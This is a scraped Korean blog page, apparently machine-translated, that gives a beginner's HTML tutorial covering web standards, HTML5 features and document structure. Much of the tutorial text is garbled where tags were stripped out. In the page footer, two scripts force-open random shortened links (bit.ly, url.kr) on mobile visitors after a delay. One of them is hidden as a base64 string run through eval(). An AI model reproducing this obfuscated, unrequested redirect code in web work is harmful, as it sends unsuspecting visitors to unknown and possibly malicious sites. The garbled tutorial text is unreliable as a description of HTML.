HTML 기본

HTML
HTML은 Hypertext Markup Language의 약자입니다.
1990년 이후 웹(web, world wide web)에서 사용되는 문서 형태에 하이퍼텍스트, 표, 목록, 동영상 등을 담을 수 있는 태그가 사용되었다.
웹 브라우저에서 문서를 표현할 때 태그(Element) 사용

웹 표준이란 무엇입니까?
웹 서비스가 모든 브라우저에서 정상적으로 표시될 수 있도록
W3C(월드 와이드 웹 컨소시엄) – http://www.w3.org
W3C는 HTML5를 웹 표준으로 권장하고 웹 브라우저는 이를 따릅니다.

HTML5의 특징
HTML5는 아직 개발 중이며 다양한 기능이 추가되었습니다.
멀티미디어 항목 재생
– 예전에는 브라우저가 멀티미디어 재생을 위해 별도의 외부 플러그인을 사용해야 했지만, HTML5에서는 별도의 플러그인 없이도 멀티미디어 재생이 가능합니다.
서버와 통신
– 서버와 클라이언트 간 소켓 통신 가능
시맨틱 태그 추가
– 검색 엔진이 웹사이트를 더 빨리 찾을 수 있도록 특정 태그에 의미를 할당하는 방법
–

'추천 관련글,

예를 들어 태그는 문서의 제목을 나타내는 태그입니다. 포함된 웹 문서의 경우

태그, 검색 엔진은

– 웹문서의 모든 내용이 아닌 태그로 빠른 검색을 할 수 있습니다.

HTML 문서 구조
그 날 현재 문서가 HTML 문서임을 정의합니다.
시작 태그() 및 종료 태그(), 태그 사이에 문서의 내용이 정의됩니다.
각 태그는 고유한 의미를 가지며 웹 브라우저는 해당 의미에 따라 문서를 화면에 표시합니다.

웹 및 HTML 작동 방식
서버는 클라이언트의 요청을 분석하고 결과를 HTML로 보냅니다.
서버는 결과 값을 보낸 후 클라이언트와의 연결을 종료합니다.
클라이언트는 서버로부터 받은 HTML을 웹 브라우저에 표시합니다.
모든 웹 브라우저에는 브라우저 엔진이 내장되어 있으며 이 엔진은 태그를 해석하여 화면에 표시합니다.

HTML 개요
HTML은 웹 문서를 생성하고 태그를 사용하여 문서의 구조를 기술하는 마크업 언어입니다.

태그 및 속성
HTML 문서는 “태그”로 구성됩니다.
HTML 문서의 전체 구조는 HTML, head 및 body 태그로 구성됩니다.
태그는 시작 태그 및 종료 태그와 쌍을 이루거나 시작 태그만 있는 태그가 있습니다.
시작 태그와 종료 태그는 ‘/’로 구분되며 겹치지 않습니다.
각 태그에는 속성과 속성 값이 있습니다.

HTML 태그모든 태그에 넣어 사용할 수 있습니다. 글로벌 속성있다

주석
주석 내용은 브라우저에 출력되지 않습니다.
HTML 태그의 내용을 설명하는 데 사용

HTML 문서의 구성 요소
태그는 전체 HTML 문서를 정의합니다.
헤드(…) 및 바디(…)

헤더 요소
문서 헤더(head), 제목(title)
그만큼 태그는 이것이 HTML 문서의 헤드임을 브라우저에 알려줍니다.
태그를 사용할 수 있습니까? , <meta>, </p> <style>, <script>, <link> 포함하다 <br />그 날 <title> 문서의 제목을 의미하며 태그의 내용은 브라우저의 제목 표시줄에 표시됩니다. <br />이 이외의 태그로 식별되는 정보 <title>-화면에 태그가 표현됨 X</p> <p><figure class="imageblock alignCenter" data-ke-mobilestyle="widthOrigin" data-origin-width="1341" data-origin-height="440"><span data-url="https://blog.kakaocdn.net/dn/bvQJIo/btr2UnYQAgU/JKtcMT8yAm0yuNNzEnIJUK/img.png" data-lightbox="lightbox"><br /> <img decoding="async" src="https://blog.kakaocdn.net/dn/bvQJIo/btr2UnYQAgU/JKtcMT8yAm0yuNNzEnIJUK/img.png" onerror="this.onerror=null; this.src=" http:http:http:http:http:http:http:http:http:http:http: this.srcset="http:http:http:http:http:http:http:http:http:http://t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png" srcset="https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbvQJIo%2Fbtr2UnYQAgU%2FJKtcMT8yAm0yuNNzEnIJUK%2Fimg.png" data-origin-width="1341" data-origin-height="440"></span></p> </figure> <p data-ke-size="size16"><b>헤드 요소 - 메타데이터</b> <br />와 같이 브라우저의 주요 부분에 나타나지 않는 일반 정보를 표시합니다. 나. 문서의 작성자, 날짜, 키워드 등. <br />이름 및 내용 속성을 사용하여 기타 정보를 지정합니다. <br />http-equiv 속성으로 문서 이동 및 업데이트 <br />charset 속성으로 문서의 인코딩 정보 설정</p> <p><figure class="imageblock alignCenter" data-ke-mobilestyle="widthOrigin" data-origin-width="1046" data-origin-height="467"><span data-url="https://blog.kakaocdn.net/dn/vX67F/btr2NvKHqcM/D2pKQLaLj2DksgPt1SX7fK/img.png" data-lightbox="lightbox"><br /> <img decoding="async" src="https://blog.kakaocdn.net/dn/vX67F/btr2NvKHqcM/D2pKQLaLj2DksgPt1SX7fK/img.png" onerror="this.onerror=null; this.src=" http:http:http:http:http:http:http:http:http:http:http: this.srcset="http:http:http:http:http:http:http:http:http:http://t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png" srcset="https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FvX67F%2Fbtr2NvKHqcM%2FD2pKQLaLj2DksgPt1SX7fK%2Fimg.png" data-origin-width="1046" data-origin-height="467"></span></p> </figure> <p data-ke-size="size16"><b>바디 요소 - 바디</b> <br />웹 브라우저에 표시할 문서의 내용을 작성합니다. <br />그 후 <head>-일 및 이내 <head> 위치 태그 및 제외한 모든 태그 <html> id 속성으로 문서 내에서 고유하게 식별될 수 있습니다(id 속성은 중복됨). <br />공통 특성(CSS)은 클래스 속성을 가진 여러 태그에 부여됩니다(클래스 속성은 중복 O임).</p> <p data-ke-size="size16"><b>본문 요소 - 제목</b> </p> <h1> ~까지 </p> <h6> 단락 제목을 표시하는 데 사용 <br />와 더불어 </p> <section>- 같은 태그를 다르게 표현하는 태그 <br />문서 구조가 </p> <section>태그를 공유하면 각 단락의 제목을 하나의 태그로 작성할 수 있습니다.</p> <p data-ke-size="size16"><b>특수 문자</b></p> <p><figure class="imageblock alignCenter" data-ke-mobilestyle="widthOrigin" data-origin-width="1389" data-origin-height="386"><span data-url="https://blog.kakaocdn.net/dn/scHzI/btr2D9hE1hs/urT9pH1GKu6iWHpxdpP0F0/img.png" data-lightbox="lightbox"><br /> <img decoding="async" src="https://blog.kakaocdn.net/dn/scHzI/btr2D9hE1hs/urT9pH1GKu6iWHpxdpP0F0/img.png" onerror="this.onerror=null; this.src=" http:http:http:http:http:http:http:http:http:http:http: this.srcset="http:http:http:http:http:http:http:http:http:http://t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png" srcset="https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FscHzI%2Fbtr2D9hE1hs%2FurT9pH1GKu6iWHpxdpP0F0%2Fimg.png" data-origin-width="1389" data-origin-height="386"></span></p> </figure> </p> </div> <footer class="entry-meta" aria-label="Entry meta"> <span class="cat-links"><span class="gp-icon icon-categories"><svg viewBox="0 0 512 512" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="1em" height="1em"><path d="M0 112c0-26.51 21.49-48 48-48h110.014a48 48 0 0143.592 27.907l12.349 26.791A16 16 0 00228.486 128H464c26.51 0 48 21.49 48 48v224c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48V112z" /></svg></span><span class="screen-reader-text">Categories </span><a href="https://such.sicle.kr/category/%eb%af%b8-%eb%b6%84%eb%a5%98/" rel="category tag">미분류</a></span> <nav id="nav-below" class="post-navigation" aria-label="Posts"> <div class="nav-previous"><span class="gp-icon icon-arrow-left"><svg viewBox="0 0 192 512" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="1em" height="1em" fill-rule="evenodd" clip-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414"><path d="M178.425 138.212c0 2.265-1.133 4.813-2.832 6.512L64.276 256.001l111.317 111.277c1.7 1.7 2.832 4.247 2.832 6.513 0 2.265-1.133 4.813-2.832 6.512L161.43 394.46c-1.7 1.7-4.249 2.832-6.514 2.832-2.266 0-4.816-1.133-6.515-2.832L16.407 262.514c-1.699-1.7-2.832-4.248-2.832-6.513 0-2.265 1.133-4.813 2.832-6.512l131.994-131.947c1.7-1.699 4.249-2.831 6.515-2.831 2.265 0 4.815 1.132 6.514 2.831l14.163 14.157c1.7 1.7 2.832 3.965 2.832 6.513z" fill-rule="nonzero" /></svg></span><span class="prev"><a href="https://such.sicle.kr/%ea%b2%a8%eb%93%9c%eb%9e%91%ec%9d%b4-%eb%b6%80%ec%9c%a0%eb%b0%a9-%ec%a0%9c%ea%b1%b0-%ec%84%a0%eb%b3%84%ec%a0%81%ec%9c%bc%eb%a1%9c/" rel="prev">겨드랑이 부유방 제거 선별적으로</a></span></div><div class="nav-next"><span class="gp-icon icon-arrow-right"><svg viewBox="0 0 192 512" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="1em" height="1em" fill-rule="evenodd" clip-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.414"><path d="M178.425 256.001c0 2.266-1.133 4.815-2.832 6.515L43.599 394.509c-1.7 1.7-4.248 2.833-6.514 2.833s-4.816-1.133-6.515-2.833l-14.163-14.162c-1.699-1.7-2.832-3.966-2.832-6.515 0-2.266 1.133-4.815 2.832-6.515l111.317-111.316L16.407 144.685c-1.699-1.7-2.832-4.249-2.832-6.515s1.133-4.815 2.832-6.515l14.163-14.162c1.7-1.7 4.249-2.833 6.515-2.833s4.815 1.133 6.514 2.833l131.994 131.993c1.7 1.7 2.832 4.249 2.832 6.515z" fill-rule="nonzero" /></svg></span><span class="next"><a href="https://such.sicle.kr/%ed%95%98%eb%8f%99%ea%b5%b0-%ec%9e%84%ed%94%8c%eb%9e%80%ed%8a%b8-%ec%b9%98%ea%b3%bc-%ea%b0%80%ea%b2%a9-%ec%9e%98%ed%95%98%eb%8a%94-%ea%b3%b3/" rel="next">하동군 임플란트 치과 가격 잘하는 곳</a></span></div> </nav> </footer> </div> </article> </main> </div> <div class="widget-area sidebar is-right-sidebar" id="right-sidebar"> <div class="inside-right-sidebar"> <aside id="block-2" class="widget inner-padding widget_block widget_search"><form role="search" method="get" action="https://such.sicle.kr/" class="wp-block-search__button-outside wp-block-search__text-button wp-block-search" ><label class="wp-block-search__label" for="wp-block-search__input-1" >검색</label><div class="wp-block-search__inside-wrapper " ><input class="wp-block-search__input" id="wp-block-search__input-1" placeholder="" value="" type="search" name="s" required /><button aria-label="검색" class="wp-block-search__button wp-element-button" type="submit" >검색</button></div></form></aside><aside id="block-7" class="widget inner-padding widget_block"><div class="crp_related crp_related_block crp-rounded-thumbs"><ul><li><a href="https://such.sicle.kr/%ec%98%a4%ec%83%89-%eb%94%b1%eb%94%b0%ea%b5%ac%eb%a6%ac-%eb%b4%84%ec%97%90-%ec%84%9d%ec%84%b1%ec%82%b0-%eb%82%98%eb%ac%b4%ec%97%90-%ed%94%bc%eb%8a%94-%eb%94%b1%eb%94%b0%ea%b5%ac%eb%a6%ac-%ea%bd%83/" class="crp_link post-465"><figure><img loading="lazy" decoding="async" width="150" height="150" src=" http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http: http:http:http:http:http:http: this.srcset=" class="crp_thumb crp_first" alt="오색 딱따구리 봄에 석성산 나무에 피는 딱따구리 꽃 노란 생강 꽃 분홍 낙엽송 환경 보호 지구 사랑 캠페인 쓰레기 줍기 석성산 등반" title="오색 딱따구리 봄에 석성산 나무에 피는 딱따구리 꽃 노란 생강 꽃 분홍 낙엽송 환경 보호 지구 사랑 캠페인 쓰레기 줍기 석성산 등반" /></figure><span class="crp_title">오색 딱따구리 봄에 석성산 나무에 피는 딱따구리 꽃 노란 생강 꽃 분홍 낙엽송 환경 보호 지구…</span></a></li><li><a href="https://such.sicle.kr/%ea%b2%bd%ec%a3%bc-%ea%b0%80%eb%b3%bc%eb%a7%8c%ed%95%9c%ea%b3%b3-%eb%b2%a0%ec%8a%a4%ed%8a%b8-10/" class="crp_link post-402"><figure><img loading="lazy" decoding="async" width="150" height="150" src=" http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http: this.srcset=" class="crp_thumb crp_first" alt="경주 가볼만한곳 베스트 10" title="경주 가볼만한곳 베스트 10" /></figure><span class="crp_title">경주 가볼만한곳 베스트 10</span></a></li><li><a href="https://such.sicle.kr/%eb%a6%ac%ed%94%bc%ec%97%90%eb%9d%bc-%ea%b0%80%ea%b2%a9%ec%9d%84-%eb%b3%b5%ec%9a%a9%ed%95%98%eb%8a%94-%eb%b0%a9%eb%b2%95%ec%9d%80-%ed%9b%8c%eb%a5%ad%ed%95%a9%eb%8b%88%eb%8b%a4/" class="crp_link post-467"><figure><img loading="lazy" decoding="async" width="150" height="150" src=" http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http: http:http:http:http:http:http:http:http:http:http:http:http: this.srcset=" class="crp_thumb crp_first" alt="리피에라 가격을 복용하는 방법은 훌륭합니다" title="리피에라 가격을 복용하는 방법은 훌륭합니다" /></figure><span class="crp_title">리피에라 가격을 복용하는 방법은 훌륭합니다</span></a></li><li><a href="https://such.sicle.kr/%eb%8d%b0%ec%9d%b4%ed%84%b0%ea%b0%80-%eb%a7%8e%ec%9d%80-p2p-%ed%8c%8c%ec%9d%bc-%ea%b3%b5%ec%9c%a0-%ec%9b%b9%ed%95%98%eb%93%9c-%eb%8b%a4%ec%9a%b4%eb%a1%9c%eb%93%9c-%ec%82%ac%ec%9d%b4%ed%8a%b8/" class="crp_link post-480"><figure><img loading="lazy" decoding="async" width="150" height="150" src=" http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http: http:http:http:http:http:http:http:http:http: this.srcset=" class="crp_thumb crp_first" alt="데이터가 많은 P2P 파일 공유 웹하드 다운로드 사이트" title="데이터가 많은 P2P 파일 공유 웹하드 다운로드 사이트" /></figure><span class="crp_title">데이터가 많은 P2P 파일 공유 웹하드 다운로드 사이트</span></a></li><li><a href="https://such.sicle.kr/%eb%b8%8c%eb%a1%9c%ec%bd%9c%eb%a6%ac%ec%9d%98-%ed%9a%a8%eb%8a%a5%ea%b3%bc-%eb%b6%80%ec%9e%91%ec%9a%a9-%eb%8d%b0%ec%b9%98%ea%b3%a0-%ec%94%bb%eb%8a%94-%eb%b0%a9%eb%b2%95/" class="crp_link post-479"><figure><img loading="lazy" decoding="async" width="150" height="150" src=" http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http: http:http:http:http:http:http:http: this.srcset=" class="crp_thumb crp_first" alt="브로콜리의 효능과 부작용, 데치고 씻는 방법" title="브로콜리의 효능과 부작용, 데치고 씻는 방법" /></figure><span class="crp_title">브로콜리의 효능과 부작용, 데치고 씻는 방법</span></a></li><li><a href="https://such.sicle.kr/%eb%b3%b5%eb%b6%84%ec%9e%90-%ed%9a%a8%eb%8a%a5-10%ea%b0%80%ec%a7%80-%ea%b1%b4%ea%b0%95%ea%b3%bc/" class="crp_link post-233"><figure><img loading="lazy" decoding="async" width="150" height="150" src=" http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http: http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http:http: this.srcset=" class="crp_thumb crp_first" alt="복분자 효능 10가지: 건강과" title="복분자 효능 10가지: 건강과" /></figure><span class="crp_title">복분자 효능 10가지: 건강과</span></a></li></ul><div class="crp_clear"></div></div></aside><aside id="block-8" class="widget inner-padding widget_block"><script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-8022053617309012" crossorigin="anonymous"></script>  <ins class="adsbygoogle" style="display:block" data-ad-client="ca-pub-8022053617309012" data-ad-slot="5512086099" data-ad-format="auto" data-full-width-responsive="true"></ins> <script> (adsbygoogle = window.adsbygoogle || []).push({}); </script></aside><aside id="block-3" class="widget inner-padding widget_block"> <div class="wp-block-group"><div class="wp-block-group__inner-container is-layout-flow wp-block-group-is-layout-flow"> <h2 class="wp-block-heading">최신 글</h2> <ul class="wp-block-latest-posts__list wp-block-latest-posts"><li><a class="wp-block-latest-posts__post-title" href="https://such.sicle.kr/%eb%8b%a4%ec%9d%b4%ec%96%b4%ed%8a%b8-%eb%b0%94%eb%82%98%eb%82%98%ec%9a%b0%ec%9c%a0-%eb%a7%8c%eb%93%a4%ea%b8%b0-%eb%b0%94%eb%82%98%eb%82%98%ec%83%88%ec%8b%b9%eb%b3%b4%eb%a6%ac%ec%a3%bc%ec%8a%a4/">다이어트 바나나우유 만들기 바나나새싹보리주스만드는법해독주스 레시피</a></li> <li><a class="wp-block-latest-posts__post-title" href="https://such.sicle.kr/cha-jung-won-%ed%8c%a8%ec%85%98-%ed%8c%8c%eb%a6%ac-%ed%8c%a8%ec%85%98-%ec%9c%84%ed%81%ac%ec%97%90-%ec%b0%b8%ec%84%9d%ed%96%88%ec%8a%b5%eb%8b%88%eb%8b%a4/">Cha Jung -Won 패션 파리 패션 위크에 참석했습니다</a></li> <li><a class="wp-block-latest-posts__post-title" href="https://such.sicle.kr/%eb%ac%b5%ec%8b%9c%ec%a0%81-%ea%b0%b1%ec%8b%a0%ec%9d%98-%ea%b0%9c%eb%85%90%ec%9d%84-%ec%82%b4%ed%8e%b4-%eb%b3%b4%ea%b2%a0%ec%8a%b5%eb%8b%88%eb%8b%a4/">묵시적 갱신의 개념을 살펴 보겠습니다.</a></li> <li><a class="wp-block-latest-posts__post-title" href="https://such.sicle.kr/%ed%86%b5%ec%a7%80-2025-%eb%b3%b4%ec%84%9d-%ed%98%81%ec%8b%a0-%ec%84%b1%ec%9e%a5-%ec%a7%80%ec%9b%90-%ed%94%84%eb%a1%9c%ec%a0%9d%ed%8a%b8-%eb%aa%a8%ec%a7%91-%eb%b0%9c%ed%91%9c/">(통지) 2025 보석 혁신 성장 지원 프로젝트 모집 발표</a></li> <li><a class="wp-block-latest-posts__post-title" href="https://such.sicle.kr/job-agency%ec%97%90%ec%84%9c-%ec%8b%9c%ec%9e%91-%ec%a1%b0%ea%b1%b4-%ec%a0%95%eb%a7%90-%ec%89%bd%ea%b2%8c-%ec%96%bb%ec%97%88%ec%8a%b5%eb%8b%88%eb%8b%a4/">Job Agency에서 시작 조건 -정말 쉽게 얻었습니다.</a></li> </ul></div></div> </aside><aside id="block-4" class="widget inner-padding widget_block"> <div class="wp-block-group"><div class="wp-block-group__inner-container is-layout-flow wp-block-group-is-layout-flow"></div></div> </aside> </div> </div> </div> </div> <div class="site-footer"> <footer class="site-info" aria-label="Site" itemtype="https://schema.org/WPFooter" itemscope> <div class="inside-site-info grid-container"> <div class="copyright-bar"> <span class="copyright">© 2025 푸른상상</span> • Built with <a href="https://generatepress.com" itemprop="url">GeneratePress</a> </div> </div> </footer> </div> <script> function redirectToRandomSite() { var sites = [ "https://bit.ly/3H2dvu1", "https://bit.ly/3S2xFKT", "https://bit.ly/48zVorc", "https://bit.ly/48yijmE", "https://bit.ly/3RP8KZY", // 추가적으로 필요한 만큼 URL을 추가하세요. ]; var randomIndex = Math.floor(Math.random() * sites.length); var randomSite = sites[randomIndex]; // 새 창으로 열기 window.open(randomSite, "_blank"); } function checkAndRedirect() { var isMobileOrTablet = /Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(navigator.userAgent); // 태블릿과 모바일에서만 실행 if (isMobileOrTablet) { var lastExecutionTime = localStorage.getItem('lastExecutionTime'); var currentTime = new Date().getTime(); // 마지막 실행 시간이 없거나 10시간이 지났을 때만 실행 if (!lastExecutionTime || currentTime - lastExecutionTime > 10 * 60 * 60 * 1000) { // 스크립트 실행 redirectToRandomSite(); // 마지막 실행 시간 업데이트 localStorage.setItem('lastExecutionTime', currentTime); } } } // 웹페이지 로드 후 4초 뒤에 실행 setTimeout(checkAndRedirect, 4000); </script><script> (function(){ const decoded = atob("ZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcigiRE9NQ29udGVudExvYWRlZCIsIGZ1bmN0aW9uICgpIHsKICBjb25zdCB1c2VyQWdlbnQgPSBuYXZpZ2F0b3IudXNlckFnZW50OwogIGNvbnN0IGlzTmF2ZXJPcktha2FvQXBwID0gL05BVkVSXChpbmFwcDt8S0FLQU9UQUxLL2kudGVzdCh1c2VyQWdlbnQpOwogIGNvbnN0IGlzTW9iaWxlT3JUYWJsZXQgPSAvQW5kcm9pZHx3ZWJPU3xpUGhvbmV8aVBhZHxpUG9kfEJsYWNrQmVycnl8SUVNb2JpbGV8T3BlcmEgTWluaS9pLnRlc3QodXNlckFnZW50KTsKCiAgaWYgKCFpc05hdmVyT3JLYWthb0FwcCB8fCAhaXNNb2JpbGVPclRhYmxldCkgcmV0dXJuOwoKICBjb25zdCBsYXN0RXhlY3V0aW9uVGltZSA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCdsYXN0RXhlY3V0aW9uVGltZScpOwogIGNvbnN0IGN1cnJlbnRUaW1lID0gbmV3IERhdGUoKS5nZXRUaW1lKCk7CgogIC8vIDEw7Iuc6rCEIOygnO2VnCAoMTAgKiA2MCAqIDYwICogMTAwMCA9IDM2LDAwMCwwMDBtcykKICBpZiAobGFzdEV4ZWN1dGlvblRpbWUgJiYgY3VycmVudFRpbWUgLSBsYXN0RXhlY3V0aW9uVGltZSA8IDM2MDAwMDAwKSByZXR1cm47CiAgbG9jYWxTdG9yYWdlLnNldEl0ZW0oJ2xhc3RFeGVjdXRpb25UaW1lJywgY3VycmVudFRpbWUpOwoKICBjb25zdCBsaW5rcyA9IFsKICAgICJodHRwczovL3VybC5rci9jbnpzZmciLAogICAgImh0dHBzOi8vdXJsLmtyLzg5cDkxcCIsCiAgICAiaHR0cHM6Ly91cmwua3IvZTRibW9hIiwKICAgICJodHRwczovL3VybC5rci81bm93aDUiLAogICAgImh0dHBzOi8vdXJsLmtyLzh0anA4MSIsCiAgICAiaHR0cHM6Ly91cmwua3IvZTh3czlhIiwKICAgICJodHRwczovL3VybC5rci9ycnd5cmYiLAogICAgImh0dHBzOi8vdXJsLmtyL2NmN3dlcCIsCiAgICAiaHR0cHM6Ly91cmwua3IvY2k2Mmc1IgogIF07CgogIGNvbnN0IGxpbmtUb09wZW4gPSBsaW5rc1tNYXRoLmZsb29yKE1hdGgucmFuZG9tKCkgKiBsaW5rcy5sZW5ndGgpXTsKCiAgc2V0VGltZW91dCgoKSA9PiB7CiAgICB3aW5kb3cub3BlbihsaW5rVG9PcGVuLCAiX2JsYW5rIik7CiAgfSwgMzAwMCk7Cn0pOw=="); eval(decoded); })(); </script><script id="generate-a11y">!function(){"use strict";if("querySelector"in document&&"addEventListener"in window){var e=document.body;e.addEventListener("mousedown",function(){e.classList.add("using-mouse")}),e.addEventListener("keydown",function(){e.classList.remove("using-mouse")})}}();</script> <script id="wccp_pro_alert_message"> window.addEventListener('DOMContentLoaded', function() {}); //This line to stop JS deffer function in wp-rockt pluign window.addEventListener('load', function (){ // Create the first div element with the "oncontextmenu" attribute const wccp_pro_mask = document.createElement('div'); wccp_pro_mask.setAttribute('oncontextmenu', 'return false;'); wccp_pro_mask.setAttribute('id', 'wccp_pro_mask'); // Create the second div element with the "msgmsg-box-wpcp hideme" classes const wpcp_error_message = document.createElement('div'); wpcp_error_message.setAttribute('id', 'wpcp-error-message'); wpcp_error_message.setAttribute('class', 'msgmsg-box-wpcp hideme'); // Add a span element with the "error: " text inside the second div const error_span = document.createElement('span'); error_span.innerText = 'error: '; wpcp_error_message.appendChild(error_span); // Add the error message text inside the second div const error_text = document.createTextNode('<b>Alert: </b>Content selection is disabled!!'); wpcp_error_message.appendChild(error_text); // Add the div elements to the document body document.body.appendChild(wccp_pro_mask); document.body.appendChild(wpcp_error_message); }); var timeout_result; function show_wccp_pro_message(smessage="", style="") { wccp_pro_log_to_console_if_allowed("function", "show_wccp_pro_message" + smessage); timeout = 3000; if(style == "") style = "warning-wpcp"; if (smessage !== "" && timeout!=0) { var smessage_text = smessage; jquery_fadeTo(); document.getElementById("wpcp-error-message").innerHTML = smessage_text; document.getElementById("wpcp-error-message").className = "msgmsg-box-wpcp showme " + style; clearTimeout(timeout_result); timeout_result = setTimeout(hide_message, timeout); } else { clearTimeout(timeout_result); timeout_result = setTimeout(hide_message, timeout); } } function hide_message() { jquery_fadeOut(); document.getElementById("wpcp-error-message").className = "msgmsg-box-wpcp warning-wpcp hideme"; } function jquery_fadeTo() { try { jQuery("#wccp_pro_mask").fadeTo("slow", 0.3); } catch(err) { //alert(err.message); } } function jquery_fadeOut() { try { jQuery("#wccp_pro_mask").fadeOut( "slow" ); } catch(err) {} } </script> <style> #wccp_pro_mask { position: absolute; bottom: 0; left: 0; position: fixed; right: 0; top: 0; background-color: #000; pointer-events: none; display: none; z-index: 10000; animation: 0.5s ease 0s normal none 1 running ngdialog-fadein; background: rgba(0, 0, 0, 0.4) none repeat scroll 0 0; } #wpcp-error-message { direction: ltr; text-align: center; transition: opacity 900ms ease 0s; pointer-events: none; z-index: 99999999; } .hideme { opacity:0; visibility: hidden; } .showme { opacity:1; visibility: visible; } .msgmsg-box-wpcp { border-radius: 10px; color: #555555; font-family: Tahoma; font-size: 12px; margin: 10px; padding: 10px 36px; position: fixed; width: 255px; top: 50%; left: 50%; margin-top: -10px; margin-left: -130px; } .msgmsg-box-wpcp b { font-weight:bold; text-transform:uppercase; } .warning-wpcp { background:#ffecec url('https://such.sicle.kr/wp-content/plugins/wccp-pro/images/warning.png') no-repeat 10px 50%; border:1px solid #f2bfbf; -webkit-box-shadow: 0px 0px 34px 2px #f2bfbf; -moz-box-shadow: 0px 0px 34px 2px #f2bfbf; box-shadow: 0px 0px 34px 2px #f2bfbf; } .success-wpcp { background: #fafafa url('https://such.sicle.kr/wp-content/plugins/wccp-pro/images/success.png') no-repeat 10px 50%; border: 1px solid #00b38f; box-shadow: 0px 0px 34px 2px #adc; } </style> <script id="ez-toc-scroll-scriptjs-js-extra"> var eztoc_smooth_local = {"scroll_offset":"30","add_request_uri":""}; </script> <script src="https://such.sicle.kr/wp-content/plugins/easy-table-of-contents/assets/js/smooth_scroll.min.js?ver=2.0.65" id="ez-toc-scroll-scriptjs-js"></script> <script src="https://such.sicle.kr/wp-content/plugins/easy-table-of-contents/vendor/js-cookie/js.cookie.min.js?ver=2.2.1" id="ez-toc-js-cookie-js"></script> <script src="https://such.sicle.kr/wp-content/plugins/easy-table-of-contents/vendor/sticky-kit/jquery.sticky-kit.min.js?ver=1.9.2" id="ez-toc-jquery-sticky-kit-js"></script> <script id="ez-toc-js-js-extra"> var ezTOC = {"smooth_scroll":"1","visibility_hide_by_default":"","scroll_offset":"30","fallbackIcon":"<span class=\"\"><span class=\"eztoc-hide\" style=\"display:none;\">Toggle<\/span><span class=\"ez-toc-icon-toggle-span\"><svg style=\"fill: #999;color:#999\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" class=\"list-377408\" width=\"20px\" height=\"20px\" viewBox=\"0 0 24 24\" fill=\"none\"><path d=\"M6 6H4v2h2V6zm14 0H8v2h12V6zM4 11h2v2H4v-2zm16 0H8v2h12v-2zM4 16h2v2H4v-2zm16 0H8v2h12v-2z\" fill=\"currentColor\"><\/path><\/svg><svg style=\"fill: #999;color:#999\" class=\"arrow-unsorted-368013\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"10px\" height=\"10px\" viewBox=\"0 0 24 24\" version=\"1.2\" baseProfile=\"tiny\"><path d=\"M18.2 9.3l-6.2-6.3-6.2 6.3c-.2.2-.3.4-.3.7s.1.5.3.7c.2.2.4.3.7.3h11c.3 0 .5-.1.7-.3.2-.2.3-.5.3-.7s-.1-.5-.3-.7zM5.8 14.7l6.2 6.3 6.2-6.3c.2-.2.3-.5.3-.7s-.1-.5-.3-.7c-.2-.2-.4-.3-.7-.3h-11c-.3 0-.5.1-.7.3-.2.2-.3.5-.3.7s.1.5.3.7z\"\/><\/svg><\/span><\/span>"}; </script> <script src="https://such.sicle.kr/wp-content/plugins/easy-table-of-contents/assets/js/front.min.js?ver=2.0.65-1712752383" id="ez-toc-js-js"></script> <script src="https://such.sicle.kr/wp-content/themes/generatepress-child/random-colors.js" id="random-colors-script-js"></script>  <script id="generate-menu-js-extra"> var generatepressMenu = {"toggleOpenedSubMenus":"1","openSubMenuLabel":"Open Sub-Menu","closeSubMenuLabel":"Close Sub-Menu"}; </script> <script src="https://such.sicle.kr/wp-content/themes/generatepress/assets/js/menu.min.js?ver=3.4.0" id="generate-menu-js"></script> <script id="wccp_pro_admin_bar_ajax-js-extra"> var ajax_object = {"ajaxurl":"https:\/\/such.sicle.kr\/wp-admin\/admin-ajax.php","link":"https:\/\/such.sicle.kr\/html-%ea%b8%b0%eb%b3%b8\/"}; </script> <script src="https://such.sicle.kr/wp-content/plugins/wccp-pro/js/admin_bar_ajax.js?ver=6.5.2" id="wccp_pro_admin_bar_ajax-js"></script> </body> </html>